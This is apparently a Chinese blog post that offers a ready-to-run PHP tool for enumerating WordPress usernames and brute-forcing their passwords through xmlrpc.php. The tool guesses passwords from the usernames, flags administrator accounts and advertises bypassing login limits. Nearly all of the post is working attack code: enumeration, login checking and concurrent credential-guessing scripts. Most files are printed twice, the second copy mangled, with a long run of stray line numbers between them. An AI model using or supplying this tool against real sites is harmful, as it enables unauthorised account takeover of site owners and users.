wordpress 用户枚举，爆破工具

发表于 2016年12月12日
安全工具

web破解一般喜欢用 burpsuite 、hydra 通用性好　但一大堆参数　使用是还需配置
破解wordpress 用wpscan 不得不说是很好用功能多而且经常更新　　但不是每次跑wordpress 都开linux (ruby 各种蛋疼)

1: 使用非常简单无需其它参数

shell>php scan.php http://www.target.com

1	shell>php scan.php http://www.target.com

2：多线程（异步）同时进行
破完一个用户成功立即退出该任务接着破另外一个用户

3：自动生成用户名相关并加到字典头部
大大的提高破解速度

4：模块可单独使用

5：枚举用户模块能抓取大部分常规 wordpress站点用户
检查枚举到的用户是否为登陆用户如果不是则剔除大大的提高破解效率

6：该脚本需curl 扩展支持

7：利用wordpress 的xmlrpc.php 文件破解
可绕过限制并判断是否为管理员用户

8、环境简单
仅需 php.exe 、php5ts.dll 、curl.dll

文件说明：

init.php 配置及功能函数
enum_user.php 根据页面枚举用户
chkuser.php 检测枚举到的用户是否为可登陆用户
RollingCurl.php 多线程http请求类 （修改版）
BruteWordPress.php 爆破类
scan.php 主文件(要运行的文件)
pass.list 高频率弱口令

init.php 配置及功能函数

enum_user.php 根据页面枚举用户

chkuser.php 检测枚举到的用户是否为可登陆用户

RollingCurl.php 多线程http请求类（修改版）

BruteWordPress.php 爆破类

scan.php 主文件(要运行的文件)

pass.list 高频率弱口令

init.php

<?php
function_exists('curl_init')? '' : die('cURL Must be installed for geturl function to work. Ask your host to enable it or uncomment extension=php_curl.dll in php.ini');
ini_set('memory_limit', -1);
date_default_timezone_set('PRC');
define("wordlist",'pass.list');
define("max_user",10);// 最大列出用户数
define("USERAGENT",'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36');
define("START_TIME", func_time());
define("Thread",10); //设置线程
define("TimeOut",5);//设置超时时间
define("params",$argv[0]);
define("target",$argv[1]);
if(target){
	$domain = trim(target);
	define("domain",$domain);
}else{

	exit('php '.params.' http://192.168.0.108/wordpress/');
}

require_once 'RollingCurl.php';

function func_time() {
    list($microsec, $sec) = explode(' ', microtime());
    return $microsec + $sec;
}


/***
*  计算执行时间
*/
function show_time(){
	echo str_repeat(" ", 50) . PHP_EOL . 'time: ' . round((func_time() - START_TIME), 4) . ' sec ' . PHP_EOL;
}
?>

<?php

function_exists('curl_init')? '' : die('cURL Must be installed for geturl function to work. Ask your host to enable it or uncomment extension=php_curl.dll in php.ini');

ini_set('memory_limit', -1);

date_default_timezone_set('PRC');

define("wordlist",'pass.list');

define("max_user",10);// 最大列出用户数

define("USERAGENT",'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36');

define("START_TIME", func_time());

define("Thread",10); //设置线程

define("TimeOut",5);//设置超时时间

define("params",$argv[0]);

define("target",$argv[1]);

if(target){

$domain = trim(target);

define("domain",$domain);

}else{

exit('php '.params.' http://192.168.0.108/wordpress/');

}

require_once 'RollingCurl.php';

function func_time() {

list($microsec, $sec) = explode(' ', microtime());

return $microsec + $sec;

}

/***

* 计算执行时间

function show_time(){

echo str_repeat(" ", 50) . PHP_EOL . 'time: ' . round((func_time() - START_TIME), 4) . ' sec ' . PHP_EOL;

}

enum_user.php

<?php
class EnumUser
{
    
    private $rc;
    private $names;
    function __construct() {
        $this->nv = 0;
        $this->rc = new RollingCurl();
        $this->rc->callback = $this->create_request_callback($this->rc);
        $this->rc->__set('window_size', Thread);
        $this->rc->__set('time_out', TimeOut);
    }
    
    function create_request_callback($rc) {
        return function ($response, $info, $request) use ($rc) {
            $pattern = '/(author\/(.*)\/feed|<body class="archive author author-([^\s]+))/';
            if (preg_match($pattern, $response, $name)) {
                $c = count($name) - 1;
                if (!empty($name[$c])) {
                    $this->names[] = $name[$c];
                } else {
                    
                    $this->nv++;
                }
            }
            if ($this->nv >= 3) {
                
                $this->rc->cancelRequests();
            }
        };
    }
    
    function run() {
        global $a;
        printf("[+] %s Enumerating usernames ...\r\n", date('h:i:s', time()));
        for ($i = 1; $i <= max_user; $i++) {
            $url = domain . "/?author=" . $i;
            $request = new RollingCurlRequest($url);
            $request->options = array(CURLOPT_USERAGENT => USERAGENT);
            $this->rc->add($request);
        }
        $this->rc->execute();
        
        if (count($this->names) == 0) {
            exit('[-] Unable to find user!');
        }
        
        echo "[+] Find " . count($this->names) . ' users' . PHP_EOL;
    }
    
    function result() {
        
        return $this->names;
    }
}
?>

<?php

class EnumUser

{

private $rc;

private $names;

function __construct() {

$this->nv = 0;

$this->rc = new RollingCurl();

$this->rc->callback = $this->create_request_callback($this->rc);

$this->rc->__set('window_size', Thread);

$this->rc->__set('time_out', TimeOut);

}

function create_request_callback($rc) {

return function ($response, $info, $request) use ($rc) {

$pattern = '/(author\/(.*)\/feed|<body class="archive author author-([^\s]+))/';

if (preg_match($pattern, $response, $name)) {

$c = count($name) - 1;

if (!empty($name[$c])) {

$this->names[] = $name[$c];

} else {

$this->nv++;

}

if ($this->nv >= 3) {

$this->rc->cancelRequests();

}

};

}

function run() {

global $a;

printf("[+] %s Enumerating usernames ...\r\n", date('h:i:s', time()));

for ($i = 1; $i <= max_user; $i++) {

$url = domain . "/?author=" . $i;

$request = new RollingCurlRequest($url);

$request->options = array(CURLOPT_USERAGENT => USERAGENT);

$this->rc->add($request);

}

$this->rc->execute();

if (count($this->names) == 0) {

exit('[-] Unable to find user!');

}

echo "[+] Find " . count($this->names) . ' users' . PHP_EOL;

}

function result() {

return $this->names;

}

chkuser.php

<?php
include 'init.php';
class Chkuser
{
    
    private $rc;
    private $names;
    function __construct() {
        $this->rc = new RollingCurl();
        $this->rc->callback = $this->create_request_callback($this->rc);
        $this->rc->__set('window_size', Thread);
        $this->rc->__set('time_out', TimeOut);
    }
    
    function create_request_callback($rc) {
        return function ($response, $info, $request) use ($rc) {
            if ($info['http_code'] == 404 || $info['http_code'] == 403 || $info['http_code'] == 500) {
                echo '[-] Access error!' . PHP_EOL;
                $this->rc->cancelRequests();
            }
            preg_match('#log=(.+)&pwd=#', $request->post_data, $out);
            $user = $out[1];
            
            if (stristr($response, "<strong>" . $user . "</strong>")) {
                $this->names[] = $user;
            }
            if (stristr($response, 'Too many failed login attempts')) {
                $this->rc->cancelRequests();
            }
        };
    }
    
    function run() {
        include_once 'enum_user.php';
        $collector = new EnumUser();
        $collector->run();
        $users = $collector->result();
        printf("[+] %s Chkusers Loginname...\r\n", date('h:i:s', time()));
        foreach ($users as $user) {
            $url = domain . '/wp-login.php';
            $post_data = "log={$user}&pwd=UjP8XnFD4n3LzIjlax";
            $request = new RollingCurlRequest($url, 'POST', $post_data);
            $request->options = array(CURLOPT_USERAGENT => USERAGENT);
            $this->rc->add($request);
        }
        $this->rc->execute();
        $counts = count($this->names);
        if ($counts == 0) {
            echo '[-] Warning Unable Check Loginuser!' . PHP_EOL;
            $this->names = $users;
            $counts = count($this->names);
        }
        echo 'login users:' . PHP_EOL;
        foreach ($this->names as $key => $u) {
            
            echo "\t" .iconv("UTF-8","GB18030//IGNORE",$u) . PHP_EOL;
        }
        printf("[+] %s Finded %d loginnames ... \r\n", date('h:i:s', time()), $counts);
    }
    
    function result() {
        
        return $this->names;
    }
}
?>

<?php

include 'init.php';

class Chkuser

{

private $rc;

private $names;

function __construct() {

$this->rc = new RollingCurl();

$this->rc->callback = $this->create_request_callback($this->rc);

$this->rc->__set('window_size', Thread);

$this->rc->__set('time_out', TimeOut);

}

function create_request_callback($rc) {

return function ($response, $info, $request) use ($rc) {

if ($info['http_code'] == 404 || $info['http_code'] == 403 || $info['http_code'] == 500) {

echo '[-] Access error!' . PHP_EOL;

$this->rc->cancelRequests();

}

preg_match('#log=(.+)&pwd=#', $request->post_data, $out);

$user = $out[1];

if (stristr($response, "<strong>" . $user . "</strong>")) {

$this->names[] = $user;

}

if (stristr($response, 'Too many failed login attempts')) {

$this->rc->cancelRequests();

}

};

}

function run() {

include_once 'enum_user.php';

$collector = new EnumUser();

$collector->run();

$users = $collector->result();

printf("[+] %s Chkusers Loginname...\r\n", date('h:i:s', time()));

foreach ($users as $user) {

$url = domain . '/wp-login.php';

$post_data = "log={$user}&pwd=UjP8XnFD4n3LzIjlax";

$request = new RollingCurlRequest($url, 'POST', $post_data);

$request->options = array(CURLOPT_USERAGENT => USERAGENT);

$this->rc->add($request);

}

$this->rc->execute();

$counts = count($this->names);

if ($counts == 0) {

echo '[-] Warning Unable Check Loginuser!' . PHP_EOL;

$this->names = $users;

$counts = count($this->names);

}

echo 'login users:' . PHP_EOL;

foreach ($this->names as $key => $u) {

echo "\t" .iconv("UTF-8","GB18030//IGNORE",$u) . PHP_EOL;

}

printf("[+] %s Finded %d loginnames ... \r\n", date('h:i:s', time()), $counts);

}

function result() {

return $this->names;

}

RollingCurl.php

<?php

/*
Authored by Josh Fraser (www.joshfraser.com)
Released under Apache License 2.0

Maintained by Alexander Makarov, http://rmcreative.ru/

$Id$
*/

/**
 * Class that represent a single curl request
 */
class RollingCurlRequest
{
    public $url = false;
    public $method = 'GET';
    public $post_data = null;
    public $headers = null;
    public $options = null;
    
    /**
     * @param string $url
     * @param string $method
     * @param  $post_data
     * @param  $headers
     * @param  $options
     * @return void
     */
    function __construct($url, $method = "GET", $post_data = null, $headers = null, $options = null) {
        $this->url = $url;
        $this->method = $method;
        $this->post_data = $post_data;
        $this->headers = $headers;
        $this->options = $options;
    }
    
    /**
     * @return void
     */
    public function __destruct() {
        unset($this->url, $this->method, $this->post_data, $this->headers, $this->options);
    }
}

/**
 * RollingCurl custom exception
 */
class RollingCurlException extends Exception
{
}

/**
 * Class that holds a rolling queue of curl requests.
 *
 * @throws RollingCurlException
 */
class RollingCurl
{
    
    /**
     * @var int
     *
     * Window size is the max number of simultaneous connections allowed.
     *
     * REMEMBER TO RESPECT THE SERVERS:
     * Sending too many requests at one time can easily be perceived
     * as a DOS attack. Increase this window_size if you are making requests
     * to multiple servers or have permission from the receving server admins.
     */
    private $window_size = 5;
    
    /**
     * @var float
     *
     * Timeout is the timeout used for curl_multi_select.
     */
    private $timeout = 10;
    
    /**
     * @var string|array
     *
     * Callback function to be applied to each result.
     */
    public $callback;
    
    public $master = null;
    
    public $requestList = array();
    
    /**
     * @var array
     *
     * Set your base options that you want to be used with EVERY request.
     */
    protected $options = array(CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30);
    
    /**
     * @var array
     */
    private $headers = array();
    
    /**
     * @var Request[]
     *
     * The request queue
     */
    private $requests = array();
    
    /**
     * @var RequestMap[]
     *
     * Maps handles to request indexes
     */
    private $requestMap = array();
    
    /**
     * @param  $callback
     * Callback function to be applied to each result.
     *
     * Can be specified as 'my_callback_function'
     * or array($object, 'my_callback_method').
     *
     * Function should take three parameters: $response, $info, $request.
     * $response is response body, $info is additional curl info.
     * $request is the original request
     *
     * @return void
     */
    function __construct($callback = null) {
        $this->callback = $callback;
    }
    
    /**
     * @param string $name
     * @return mixed
     */
    public function __get($name) {
        return (isset($this->{$name})) ? $this->{$name} : null;
    }
    
    /**
     * @param string $name
     * @param mixed $value
     * @return bool
     */
    public function __set($name, $value) {
        
        // append the base options & headers
        if ($name == "options" || $name == "headers") {
            $this->{$name} = $value + $this->{$name};
        } else {
            $this->{$name} = $value;
        }
        return true;
    }
    
    /**
     * Add a request to the request queue
     *
     * @param Request $request
     * @return bool
     */
    public function add($request) {
        $this->requests[] = $request;
        return true;
    }
    
    public function cancelRequests($all = true) {
        $this->requests = array();
        if ($all) {
            foreach ($this->requestList as $handler) {
                curl_multi_remove_handle($this->master, $handler);
            }
        }
        return true;
    }
    
    /**
     * Create new Request and add it to the request queue
     *
     * @param string $url
     * @param string $method
     * @param  $post_data
     * @param  $headers
     * @param  $options
     * @return bool
     */
    public function request($url, $method = "GET", $post_data = null, $headers = null, $options = null) {
        $this->requests[] = new RollingCurlRequest($url, $method, $post_data, $headers, $options);
        return true;
    }
    
    /**
     * Perform GET request
     *
     * @param string $url
     * @param  $headers
     * @param  $options
     * @return bool
     */
    public function get($url, $headers = null, $options = null) {
        return $this->request($url, "GET", null, $headers, $options);
    }
    
    /**
     * Perform POST request
     *
     * @param string $url
     * @param  $post_data
     * @param  $headers
     * @param  $options
     * @return bool
     */
    public function post($url, $post_data = null, $headers = null, $options = null) {
        return $this->request($url, "POST", $post_data, $headers, $options);
    }
    
    /**
     * Execute processing
     *
     * @param int $window_size Max number of simultaneous connections
     * @return string|bool
     */
    public function execute($window_size = null) {
        
        // rolling curl window must always be greater than 1
        if (sizeof($this->requests) == 1) {
            return $this->single_curl();
        } else {
            
            // start the rolling curl. window_size is the max number of simultaneous connections
            return $this->rolling_curl($window_size);
        }
    }
    
    /**
     * Performs a single curl request
     *
     * @access private
     * @return string
     */
    private function single_curl() {
        $ch = curl_init();
        $request = array_shift($this->requests);
        $options = $this->get_options($request);
        curl_setopt_array($ch, $options);
        $output = curl_exec($ch);
        $info = curl_getinfo($ch);
        
        // it's not neccesary to set a callback for one-off requests
        if ($this->callback) {
            $callback = $this->callback;
            if (is_callable($this->callback)) {
                call_user_func($callback, $output, $info, $request);
            }
        } else return $output;
        return true;
    }
    
    /**
     * Performs multiple curl requests
     *
     * @access private
     * @throws RollingCurlException
     * @param int $window_size Max number of simultaneous connections
     * @return bool
     */
    private function rolling_curl($window_size = null) {
        if ($window_size) $this->window_size = $window_size;
        
        // make sure the rolling window isn't greater than the # of urls
        if (sizeof($this->requests) < $this->window_size) $this->window_size = sizeof($this->requests);
        
        if ($this->window_size < 2) {
            throw new RollingCurlException("Window size must be greater than 1");
        }
        
        $this->master = curl_multi_init();
        
        // start the first batch of requests
        for ($i = 0; $i < $this->window_size; $i++) {
            $ch = curl_init();
            
            $options = $this->get_options($this->requests[$i]);
            
            curl_setopt_array($ch, $options);
            curl_multi_add_handle($this->master, $ch);
            array_push($this->requestList, $ch);
            
            // Add to our request Maps
            $key = (string)$ch;
            $this->requestMap[$key] = $i;
        }
        
        do {
            while (($execrun = curl_multi_exec($this->master, $running)) == CURLM_CALL_MULTI_PERFORM);
            if ($execrun != CURLM_OK) break;
            
            // a request was just completed -- find out which one
            while ($done = curl_multi_info_read($this->master)) {
                
                // get the info and content returned on the request
                $info = curl_getinfo($done['handle']);
                $output = curl_multi_getcontent($done['handle']);
                
                // send the return values to the callback function.
                $callback = $this->callback;
                if (is_callable($callback)) {
                    $key = (string)$done['handle'];
                    $request = $this->requests[$this->requestMap[$key]];
                    unset($this->requestMap[$key]);
                    call_user_func($callback, $output, $info, $request);
                }
                
                // start a new request (it's important to do this before removing the old one)
                if ($i < sizeof($this->requests) && isset($this->requests[$i]) && $i < count($this->requests)) {
                    $ch = curl_init();
                    $options = $this->get_options($this->requests[$i]);
                    curl_setopt_array($ch, $options);
                    curl_multi_add_handle($this->master, $ch);
                    array_push($this->requestList, $ch);
                    
                    // Add to our request Maps
                    $key = (string)$ch;
                    $this->requestMap[$key] = $i;
                    $i++;
                }
                
                // remove the curl handle that just completed
                curl_multi_remove_handle($this->master, $done['handle']);
            }
            
            // Block for data in / output; error handling is done by curl_multi_exec
            if ($running) curl_multi_select($this->master, $this->timeout);
        }
        while ($running);
        curl_multi_close($this->master);
        return true;
    }
    
    /**
     * Helper function to set up a new request by setting the appropriate options
     *
     * @access private
     * @param Request $request
     * @return array
     */
    private function get_options($request) {
        
        // options for this entire curl object
        $options = $this->__get('options');
        if (ini_get('safe_mode') == 'Off' || !ini_get('safe_mode')) {
            $options[CURLOPT_FOLLOWLOCATION] = 1;
            $options[CURLOPT_MAXREDIRS] = 5;
        }
        $headers = $this->__get('headers');
        
        // append custom options for this specific request
        if ($request->options) {
            $options = $request->options + $options;
        }
        
        // set the request URL
        $options[CURLOPT_URL] = $request->url;
        
        // posting data w/ this request?
        if ($request->post_data) {
            $options[CURLOPT_POST] = 1;
            $options[CURLOPT_POSTFIELDS] = $request->post_data;
        }
        if ($headers) {
            $options[CURLOPT_HEADER] = 0;
            $options[CURLOPT_HTTPHEADER] = $headers;
        }
        
        return $options;
    }
    
    /**
     * @return void
     */
    public function __destruct() {
        unset($this->window_size, $this->callback, $this->options, $this->headers, $this->requests);
    }
}

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

<?php

Authored by Josh Fraser (www.joshfraser.com)

Released under Apache License 2.0

Maintained by Alexander Makarov, http://rmcreative.ru/

$Id$

/**

* Class that represent a single curl request

class RollingCurlRequest

{

public $url = false;

public $method = 'GET';

public $post_data = null;

public $headers = null;

public $options = null;

/**

* @param string $url

* @param string $method

* @param $post_data

* @param $headers

* @param $options

* @return void

function __construct($url, $method = "GET", $post_data = null, $headers = null, $options = null) {

$this->url = $url;

$this->method = $method;

$this->post_data = $post_data;

$this->headers = $headers;

$this->options = $options;

}

/**

* @return void

public function __destruct() {

unset($this->url, $this->method, $this->post_data, $this->headers, $this->options);

}

/**

* RollingCurl custom exception

class RollingCurlException extends Exception

{

}

/**

* Class that holds a rolling queue of curl requests.

* @throws RollingCurlException

class RollingCurl

{

/**

* @var int

* Window size is the max number of simultaneous connections allowed.

* REMEMBER TO RESPECT THE SERVERS:

* Sending too many requests at one time can easily be perceived

* as a DOS attack. Increase this window_size if you are making requests

* to multiple servers or have permission from the receving server admins.

private $window_size = 5;

/**

* @var float

* Timeout is the timeout used for curl_multi_select.

private $timeout = 10;

/**

* @var string|array

* Callback function to be applied to each result.

public $callback;

public $master = null;

public $requestList = array();

/**

* @var array

* Set your base options that you want to be used with EVERY request.

protected $options = array(CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30);

/**

* @var array

private $headers = array();

/**

* @var Request[]

* The request queue

private $requests = array();

/**

* @var RequestMap[]

* Maps handles to request indexes

private $requestMap = array();

/**

* @param $callback

* Callback function to be applied to each result.

* Can be specified as 'my_callback_function'

* or array($object, 'my_callback_method').

* Function should take three parameters: $response, $info, $request.

* $response is response body, $info is additional curl info.

* $request is the original request

* @return void

function __construct($callback = null) {

$this->callback = $callback;

}

/**

* @param string $name

* @return mixed

public function __get($name) {

return (isset($this->{$name})) ? $this->{$name} : null;

}

/**

* @param string $name

* @param mixed $value

* @return bool

public function __set($name, $value) {

// append the base options & headers

if ($name == "options" || $name == "headers") {

$this->{$name} = $value + $this->{$name};

} else {

$this->{$name} = $value;

}

return true;

}

/**

* Add a request to the request queue

* @param Request $request

* @return bool

public function add($request) {

$this->requests[] = $request;

return true;

}

public function cancelRequests($all = true) {

$this->requests = array();

if ($all) {

foreach ($this->requestList as $handler) {

curl_multi_remove_handle($this->master, $handler);

}

return true;

}

/**

* Create new Request and add it to the request queue

* @param string $url

* @param string $method

* @param $post_data

* @param $headers

* @param $options

* @return bool

public function request($url, $method = "GET", $post_data = null, $headers = null, $options = null) {

$this->requests[] = new RollingCurlRequest($url, $method, $post_data, $headers, $options);

return true;

}

/**

* Perform GET request

* @param string $url

* @param $headers

* @param $options

* @return bool

public function get($url, $headers = null, $options = null) {

return $this->request($url, "GET", null, $headers, $options);

}

/**

* Perform POST request

* @param string $url

* @param $post_data

* @param $headers

* @param $options

* @return bool

public function post($url, $post_data = null, $headers = null, $options = null) {

return $this->request($url, "POST", $post_data, $headers, $options);

}

/**

* Execute processing

* @param int $window_size Max number of simultaneous connections

* @return string|bool

public function execute($window_size = null) {

// rolling curl window must always be greater than 1

if (sizeof($this->requests) == 1) {

return $this->single_curl();

} else {

// start the rolling curl. window_size is the max number of simultaneous connections

return $this->rolling_curl($window_size);

}

/**

* Performs a single curl request

* @access private

* @return string

private function single_curl() {

$ch = curl_init();

$request = array_shift($this->requests);

$options = $this->get_options($request);

curl_setopt_array($ch, $options);

$output = curl_exec($ch);

$info = curl_getinfo($ch);

// it's not neccesary to set a callback for one-off requests

if ($this->callback) {

$callback = $this->callback;

if (is_callable($this->callback)) {

call_user_func($callback, $output, $info, $request);

}

} else return $output;

return true;

}

/**

* Performs multiple curl requests

* @access private

* @throws RollingCurlException

* @param int $window_size Max number of simultaneous connections

* @return bool

private function rolling_curl($window_size = null) {

if ($window_size) $this->window_size = $window_size;

// make sure the rolling window isn't greater than the # of urls

if (sizeof($this->requests) < $this->window_size) $this->window_size = sizeof($this->requests);

if ($this->window_size < 2) {

throw new RollingCurlException("Window size must be greater than 1");

}

$this->master = curl_multi_init();

// start the first batch of requests

for ($i = 0; $i < $this->window_size; $i++) {

$ch = curl_init();

$options = $this->get_options($this->requests[$i]);

curl_setopt_array($ch, $options);

curl_multi_add_handle($this->master, $ch);

array_push($this->requestList, $ch);

// Add to our request Maps

$key = (string)$ch;

$this->requestMap[$key] = $i;

}

do {

while (($execrun = curl_multi_exec($this->master, $running)) == CURLM_CALL_MULTI_PERFORM);

if ($execrun != CURLM_OK) break;

// a request was just completed -- find out which one

while ($done = curl_multi_info_read($this->master)) {

// get the info and content returned on the request

$info = curl_getinfo($done['handle']);

$output = curl_multi_getcontent($done['handle']);

// send the return values to the callback function.

$callback = $this->callback;

if (is_callable($callback)) {

$key = (string)$done['handle'];

$request = $this->requests[$this->requestMap[$key]];

unset($this->requestMap[$key]);

call_user_func($callback, $output, $info, $request);

}

// start a new request (it's important to do this before removing the old one)

if ($i < sizeof($this->requests) && isset($this->requests[$i]) && $i < count($this->requests)) {

$ch = curl_init();

$options = $this->get_options($this->requests[$i]);

curl_setopt_array($ch, $options);

curl_multi_add_handle($this->master, $ch);

array_push($this->requestList, $ch);

// Add to our request Maps

$key = (string)$ch;

$this->requestMap[$key] = $i;

$i++;

}

// remove the curl handle that just completed

curl_multi_remove_handle($this->master, $done['handle']);

}

// Block for data in / output; error handling is done by curl_multi_exec

if ($running) curl_multi_select($this->master, $this->timeout);

}

while ($running);

curl_multi_close($this->master);

return true;

}

/**

* Helper function to set up a new request by setting the appropriate options

* @access private

* @param Request $request

* @return array

private function get_options($request) {

// options for this entire curl object

$options = $this->__get('options');

if (ini_get('safe_mode') == 'Off' || !ini_get('safe_mode')) {

$options[CURLOPT_FOLLOWLOCATION] = 1;

$options[CURLOPT_MAXREDIRS] = 5;

}

$headers = $this->__get('headers');

// append custom options for this specific request

if ($request->options) {

$options = $request->options + $options;

}

// set the request URL

$options[CURLOPT_URL] = $request->url;

// posting data w/ this request?

if ($request->post_data) {

$options[CURLOPT_POST] = 1;

$options[CURLOPT_POSTFIELDS] = $request->post_data;

}

if ($headers) {

$options[CURLOPT_HEADER] = 0;

$options[CURLOPT_HTTPHEADER] = $headers;

}

return $options;

}

/**

* @return void

public function __destruct() {

unset($this->window_size, $this->callback, $this->options, $this->headers, $this->requests);

}

BruteWordPress.php

<?php
include 'init.php';
define("user", $argv[2]);
class BruteWordPress
{
    private $rc;
    function __construct() {
        $this->rc = new RollingCurl();
        $this->rc->callback = $this->create_request_callback($this->rc);
        $this->rc->__set('window_size', Thread);
        $this->rc->__set('time_out', TimeOut);
    }
    
    function create_request_callback($rc) {
        return function ($response, $info, $request) use ($rc) {
            if ($info['http_code'] == 404 || $info['http_code'] == 403 || $info['http_code'] == 500) {
                echo '[-] Access error!' . PHP_EOL;
                $this->rc->cancelRequests();
            }
            
            $p = $request->post_data;
            preg_match_all('/<param><value>([^\s]+?)<\/value><\/param>/', $p, $m);
            $user = $m[1][0];
            $pass = $m[1][1];
            if (!preg_match('/<boolean>(\d)<\/boolean>/', $response, $is_admin)) {
                
                //echo '[*] Brote user ' . $user . " ..." . "\r";
                
                
            } else {
                
                //print_r($is_admin).PHP_EOL;
                if ($is_admin[1] == 1) {
                    echo '[+] Bruteed~ -> ' . iconv("UTF-8","GB18030//IGNORE",$user)  . ':' . $pass . ' [is admin]' . PHP_EOL;
                    $this->rc->cancelRequests();
                } else {
                    echo '[+] Bruteed~ -> ' . iconv("UTF-8","GB18030//IGNORE",$user)  . ':' . $pass . PHP_EOL;
                    $this->rc->cancelRequests();
                }
            }
        };
    }
    
    function run() {
        $pass_file = preg_replace('/\s$/', "", file(wordlist));
        $user_pre = array('123', '111', '1', 'a', 'pass', '!@#', 'password', 'abc', '1961', '1962', '1963', '1970', '1988', '1989', '1990', '1991', '1992', '1993', '1994', '1995', '1996', '1997', '1998', '1999', '2001', '2002', '2003', '2004', '2006', '2005', '2007', '2008', '2009', '2010', '2011', '2012', '2013', '2014', '2015');
        foreach ($user_pre as $pre) {
            $pre_u[] = user . $pre;
        }
        $p = array_merge($pre_u, $pass_file);
        $passwords = array_unique($p);
        array_unshift($passwords, user);
        
        foreach ($passwords as $pass) {
            $url = domain . '/xmlrpc.php';
            $post_data = sprintf('<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>%s</value></param><param><value>%s</value></param></params></methodCall>', user, $pass);
            $request = new RollingCurlRequest($url, 'POST', $post_data);
            $request->options = array(CURLOPT_USERAGENT => USERAGENT);
            $this->rc->add($request);
        }
        $this->rc->execute();
    }
}

$brute = new BruteWordPress();
$brute->run();
?>

<?php

include 'init.php';

define("user", $argv[2]);

class BruteWordPress

{

private $rc;

function __construct() {

$this->rc = new RollingCurl();

$this->rc->callback = $this->create_request_callback($this->rc);

$this->rc->__set('window_size', Thread);

$this->rc->__set('time_out', TimeOut);

}

function create_request_callback($rc) {

return function ($response, $info, $request) use ($rc) {

if ($info['http_code'] == 404 || $info['http_code'] == 403 || $info['http_code'] == 500) {

echo '[-] Access error!' . PHP_EOL;

$this->rc->cancelRequests();

}

$p = $request->post_data;

preg_match_all('/<param><value>([^\s]+?)<\/value><\/param>/', $p, $m);

$user = $m[1][0];

$pass = $m[1][1];

if (!preg_match('/<boolean>(\d)<\/boolean>/', $response, $is_admin)) {

//echo '[*] Brote user ' . $user . " ..." . "\r";

} else {

//print_r($is_admin).PHP_EOL;

if ($is_admin[1] == 1) {

echo '[+] Bruteed~ -> ' . iconv("UTF-8","GB18030//IGNORE",$user) . ':' . $pass . ' [is admin]' . PHP_EOL;

$this->rc->cancelRequests();

} else {

echo '[+] Bruteed~ -> ' . iconv("UTF-8","GB18030//IGNORE",$user) . ':' . $pass . PHP_EOL;

$this->rc->cancelRequests();

}

};

}

function run() {

$pass_file = preg_replace('/\s$/', "", file(wordlist));

$user_pre = array('123', '111', '1', 'a', 'pass', '!@#', 'password', 'abc', '1961', '1962', '1963', '1970', '1988', '1989', '1990', '1991', '1992', '1993', '1994', '1995', '1996', '1997', '1998', '1999', '2001', '2002', '2003', '2004', '2006', '2005', '2007', '2008', '2009', '2010', '2011', '2012', '2013', '2014', '2015');

foreach ($user_pre as $pre) {

$pre_u[] = user . $pre;

}

$p = array_merge($pre_u, $pass_file);

$passwords = array_unique($p);

array_unshift($passwords, user);

foreach ($passwords as $pass) {

$url = domain . '/xmlrpc.php';

$post_data = sprintf('<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>%s</value></param><param><value>%s</value></param></params></methodCall>', user, $pass);

$request = new RollingCurlRequest($url, 'POST', $post_data);

$request->options = array(CURLOPT_USERAGENT => USERAGENT);

$this->rc->add($request);

}

$this->rc->execute();

}

$brute = new BruteWordPress();

$brute->run();

scan.php

<?php
include 'chkuser.php';

$chk = new Chkuser();
$chk->run();
$user_arr = $chk->result();

//print_r($user_arr);

function broter($user) {
    
    system('php BruteWordPress.php ' . target . ' ' . $user);
}
printf("[+] %s Broting...\r\n", date('h:i:s', time()));
foreach ($user_arr as $user) {
    echo '[*] Brute user ' . iconv("UTF-8","GB18030//IGNORE",$user). " ..." . str_repeat(' ', 60) . "\r";
    broter($user);
}
show_time();
?>